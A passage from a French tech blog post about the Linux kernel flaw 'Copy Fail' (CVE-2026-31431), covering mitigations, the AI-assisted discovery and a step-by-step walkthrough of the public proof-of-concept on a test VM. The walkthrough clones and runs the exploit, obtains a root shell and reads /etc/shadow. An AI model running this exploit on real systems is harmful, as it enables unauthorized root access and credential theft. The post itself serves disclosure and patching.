sudo grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
sudo reboot
Ça empêche l'init_call du module de tourner au démarrage. Vous vérifiez ensuite avec cat /proc/cmdline que le paramètre est bien pris en compte. Si vous voulez aller encore plus loin, il est aussi possible de bloquer toute la surface d'attaque AF_ALG via
seccomp
au niveau de chaque service exposé.
Le PoC est également trouvable. C'est un script Python (Python 3.10+ obligatoire pour os.splice) capable de faire tomber Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 et SUSE 16 avec exactement le même code.
Dans une première version j'avais écrit que SELinux en mode enforcing par défaut bloquait l'exploit sur Fedora et RHEL. C'est inexact, et je remercie le lecteur qui m'a fait corriger. La policy SELinux par défaut de Fedora et RHEL autorise les contextes utilisateurs à créer des sockets AF_ALG, et l'exploit écrit directement dans le page cache kernel sans déclencher les hooks LSM file-based.
Donc SELinux enforcing ne bloque pas Copy Fail tel que livré par défaut. Le seul OS immune via SELinux est
GrapheneOS
, qui durcit la policy AOSP en réservant AF_ALG au seul process dumpstate. Ceux qui veulent tester sans Python peuvent aussi regarder du côté du
port C indépendant
, un exécutable statique de 1,7 Ko sans dépendance externe.
Les comparaisons avec
Dirty COW
et Dirty Pipe pleuvent, sauf que là où Dirty COW exigeait du timing précis et où Dirty Pipe demandait une manipulation spécifique du pipe-buffer, Copy Fail tape tout pareil sur 4 distribs majeures sans rien avoir à ajuster.
Et côté sévérité officielle, c'est du 7.8/10 donc c'est assez élevé !
Pour trouver cette faille, Xint Code, l'agent IA de Theori, n'a pas tâtonné à l'aveugle. Taeyang Lee lui a surtout glissé un prompt très précis qui lui demandait d'examiner tous les chemins accessibles depuis un programme utilisateur dans le sous-système crypto, en insistant sur le fait que splice() peut faire atterrir des fichiers en lecture seule dans des zones modifiables.
Une heure plus tard, Copy Fail sortait comme trouvaille critique ! Theori précise que le même scan a aussi remonté d'autres vulnérabilités encore sous embargo. Brrrrrr.... Tremblez simples mortel !
Ouais donc ouais, l'IA n'a pas remplacé l'expertise humaine, mais elle l'a démultipliée. Car Lee savait où regarder, et Xint Code a juste fait ce qu'il aurait fait mais en plus rapide ! C'est pas magique donc... Mais ça fait gagner du temps !
L'exploit est dispo ici sur
le GitHub de Theori
et côté impact, c'est costaud sur les hôtes multi-users et tout ce qui est environnements partagés. Je pense aux conteneurs Docker, aux clusters Kubernetes, aux pipelines CI/CD...etc.
Après si y'a que vous qui avez accès à votre serveur, c'est un peu moins critique car il faut forcément un accès local pour l'exploiter. C'est la même logique de chaînage que
BlueHammer côté Windows
, sauf qu'ici la marche jusqu'à root est encore plus petite.
Comment tester le PoC sur une machine de test ?
Si vous avez une VM sous Ubuntu 22.04 non patchée (kernel 5.15.x), voilà exactement ce qui se passe, testé en conditions réelles. Ne faites ça que sur une machine dont vous êtes propriétaire et où vous avez l'autorisation explicite.
Étape 1 - Cloner le PoC et vérifier le hash
manu@ubuntu:~$ git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
Cloning into 'copy-fail-CVE-2026-31431'...
remote: Enumerating objects: 9, done.
Resolving deltas: 100% (1/1), done.
manu@ubuntu:~$ cd copy-fail-CVE-2026-31431 && sha256sum copy_fail_exp.py
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 copy_fail_exp.py
manu@ubuntu:~/copy-fail-CVE-2026-31431$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu) ← utilisateur normal, pas root
Theori ne publie pas de hash officiel dans leur README, mais le SHA256 ci-dessus est celui du PoC tel qu'il est actuellement sur le repo. Si votre hash diffère, ne lancez pas le script.
Étape 2 - Lancer l'exploit
manu@ubuntu:~/copy-fail-CVE-2026-31431$ python3 copy_fail_exp.py
# L'exploit écrit 4 octets à la fois dans le page cache de /usr/bin/su
# via l'interface AF_ALG du kernel (authencesn + splice)
# Aucune race condition, aucun timing précis requis.
Mot de passe :
Le script utilise AF_ALG (l'interface crypto du kernel) combiné à splice() pour écrire un shellcode de 160 octets directement dans le page cache de /usr/bin/su, sans jamais toucher le disque. Il remplace ensuite le binaire patché pour exécuter un shell root.
Étape 3 - Shell root obtenu
root@ubuntu:~# id
uid=0(root) gid=1000(manu) groups=1000(manu)
root@ubuntu:~# whoami
root
root@ubuntu:~# uname -r
5.15.0-143-generic
# Kernel 5.15 vulnérable confirmé - Ubuntu 22.04 non patché
Notez le uid=0(root) alors qu'on est parti d'un uid=1000 sans aucun mot de passe, aucune race condition, aucun timing à ajuster. Brutal.
Étape 4 - Accès aux fichiers root-only
root@ubuntu:~# cat /etc/shadow | head -3
root:*:20271:0:99999:7:::
daemon:*:20271:0:99999:7:::
bin:*:20271:0:99999:7:::
root@ubuntu:~# cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash
/etc/shadow est normalement illisible pour un utilisateur standard. Là, avec notre PoC en Python et zéro interaction supplémentaire, on y accède comme si de rien n'était. Sur un serveur multi-utilisateurs, c'est game over pour tous les comptes présents.
Sur un système patché, le script échoue proprement à l'étape 2 avec un message d'erreur. C'est aussi simple que ça pour vérifier votre exposition.
Bref, mettez à jour vos kernels ou désactivez le module fautif rapidement !
Source